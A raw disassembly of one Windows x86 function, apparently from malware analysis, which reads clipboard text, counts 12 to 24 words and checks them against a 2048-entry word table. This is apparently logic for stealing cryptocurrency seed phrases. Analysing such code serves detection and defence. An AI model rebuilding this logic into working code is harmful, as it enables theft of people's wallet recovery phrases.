Function at 0x401530
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc3c
mov byte [ebp - 1], 0
mov byte [ebp - 0x825], 0
mov byte [ebp - 0x815], 0
mov byte [ebp - 0x81d], 0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x401565
xor al, al
jmp 0x4019f5
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401583
call dword [sym.imp.USER32.dll_CloseClipboard]
xor al, al
jmp 0x4019f5
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 0
jne 0x4015a9
call dword [sym.imp.USER32.dll_CloseClipboard]
xor al, al
jmp 0x4019f5
mov dword [ebp - 0x824], 0
mov byte [ebp - 9], 0
mov dword [ebp - 0x814], 0
mov cx, word [0x40a1d0]
mov word [ebp - 0x810], cx
push 0x7fe
push 0
lea edx, [ebp - 0x80e]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x81c]
mov dword [ebp - 0x82c], eax
jmp 0x401602
mov ecx, dword [ebp - 0x82c]
add ecx, 2
mov dword [ebp - 0x82c], ecx
mov edx, dword [ebp - 0x82c]
movzx eax, word [edx]
test eax, eax
je 0x4016e3
mov ecx, dword [ebp - 0x82c]
movzx edx, word [ecx]
push edx
call sub.MSVCR90.dll_iswspace
add esp, 4
test eax, eax
je 0x4016c6
movzx eax, byte [ebp - 9]
test eax, eax
je 0x4016c4
mov byte [ebp - 9], 0
mov ecx, dword [ebp - 0x824]
add ecx, 1
mov dword [ebp - 0x824], ecx
cmp dword [ebp - 0x824], 0x18
jg 0x4016a4
mov edx, dword [ebp - 0x82c]
sub edx, dword [ebp - 0x814]
sar edx, 1
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x830]
push eax
mov ecx, dword [ebp - 0x814]
push ecx
push 0x400
lea edx, [ebp - 0x810]
push edx
call sub.MSVCR90.dll_wcsncat_s
add esp, 0x10
push 0x40a1d4
push 0x400
lea eax, [ebp - 0x810]
push eax
call sub.MSVCR90.dll_wcscat_s
add esp, 0xc
cmp dword [ebp - 0x824], 0x18
jle 0x4016c4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
xor al, al
jmp 0x4019f5
jmp 0x4016de
movzx edx, byte [ebp - 9]
test edx, edx
jne 0x4016de
mov byte [ebp - 9], 1
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x814], eax
jmp 0x4015f3
movzx ecx, byte [ebp - 9]
test ecx, ecx
je 0x40171e
mov edx, dword [ebp - 0x824]
add edx, 1
mov dword [ebp - 0x824], edx
cmp dword [ebp - 0x824], 0x18
jg 0x40171e
mov eax, dword [ebp - 0x814]
push eax
push 0x400
lea ecx, [ebp - 0x810]
push ecx
call sub.MSVCR90.dll_wcscat_s
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
cmp dword [ebp - 0x824], 0xc
je 0x40175f
cmp dword [ebp - 0x824], 0xf
je 0x40175f
cmp dword [ebp - 0x824], 0x12
je 0x40175f
cmp dword [ebp - 0x824], 0x15
je 0x40175f
cmp dword [ebp - 0x824], 0x18
jne 0x4019f3
lea eax, [ebp - 0x810]
push eax
push 0x40a1d8
lea ecx, [ebp - 0xc20]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40d028
lea edx, [ebp - 0xc20]
push edx
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
jne 0x40179a
xor al, al
jmp 0x4019f5
lea eax, [ebp - 0xc20]
push eax
push 0x40a1e0
push 0x40d028
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x20
lea ecx, [ebp - 0x810]
push ecx
call fcn.00401a00
add esp, 8
add eax, 2
mov dword [ebp - 0xc2c], eax
push str.
lea edx, [ebp - 0x810]
push edx
call sub.MSVCR90.dll_wcstok
add esp, 8
mov dword [ebp - 0xc28], eax
push 0x20
mov eax, dword [ebp - 0xc2c]
push eax
call fcn.00401a00
add esp, 8
add eax, 2
mov dword [ebp - 0xc24], eax
push 0x20
mov ecx, dword [ebp - 0xc24]
push ecx
call fcn.00401a00
add esp, 8
add eax, 2
mov dword [ebp - 0x834], eax
push 0x40a1ec
mov edx, dword [ebp - 0x834]
push edx
call sub.MSVCR90.dll_wcstok
add esp, 8
mov dword [ebp - 0x834], eax
push 0x40a1f0
mov eax, dword [ebp - 0xc2c]
push eax
call sub.MSVCR90.dll_wcstok
add esp, 8
mov dword [ebp - 0xc2c], eax
push 0x40a1f4
mov ecx, dword [ebp - 0xc24]
push ecx
call sub.MSVCR90.dll_wcstok
add esp, 8
mov dword [ebp - 0xc24], eax
mov dword [ebp - 0xc30], 0
jmp 0x401885
mov edx, dword [ebp - 0xc30]
add edx, 1
mov dword [ebp - 0xc30], edx
cmp dword [ebp - 0xc30], 0x800
jae 0x4018b8
mov eax, dword [ebp - 0xc30]
mov ecx, dword [eax*4 + 0x40b008]
push ecx
mov edx, dword [ebp - 0xc28]
push edx
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
jne 0x4018b6
mov byte [ebp - 1], 1
jmp 0x401876
movzx eax, byte [ebp - 1]
cmp eax, 1
jne 0x4019ef
mov dword [ebp - 0xc34], 0
jmp 0x4018e0
mov ecx, dword [ebp - 0xc34]
add ecx, 1
mov dword [ebp - 0xc34], ecx
cmp dword [ebp - 0xc34], 0x800
jae 0x401916
mov edx, dword [ebp - 0xc34]
mov eax, dword [edx*4 + 0x40b008]
push eax
mov ecx, dword [ebp - 0xc2c]
push ecx
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
jne 0x401914
mov byte [ebp - 0x825], 1
jmp 0x4018d1
movzx edx, byte [ebp - 0x825]
cmp edx, 1
jne 0x4019ef
mov dword [ebp - 0xc38], 0
jmp 0x401941
mov eax, dword [ebp - 0xc38]
add eax, 1
mov dword [ebp - 0xc38], eax
cmp dword [ebp - 0xc38], 0x800
jae 0x401977
mov ecx, dword [ebp - 0xc38]
mov edx, dword [ecx*4 + 0x40b008]
push edx
mov eax, dword [ebp - 0xc24]
push eax
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
jne 0x401975
mov byte [ebp - 0x815], 1
jmp 0x401932
movzx ecx, byte [ebp - 0x815]
cmp ecx, 1
jne 0x4019ef
mov dword [ebp - 0xc3c], 0
jmp 0x40199e
mov edx, dword [ebp - 0xc3c]
add edx, 1
mov dword [ebp - 0xc3c], edx
cmp dword [ebp - 0xc3c], 0x800
jae 0x4019d4
mov eax, dword [ebp - 0xc3c]
mov ecx, dword [eax*4 + 0x40b008]
push ecx
mov edx, dword [ebp - 0x834]
push edx
call sub.MSVCR90.dll_wcscmp
add esp, 8
test eax, eax
jne 0x4019d2
mov byte [ebp - 0x81d], 1
jmp 0x40198f
movzx eax, byte [ebp - 0x81d]
cmp eax, 1
jne 0x4019ef
lea ecx, [ebp - 0xc20]
push ecx
call fcn.004010a0
add esp, 4
mov al, 1
jmp 0x4019f5
xor al, al
mov esp, ebp
pop ebp
ret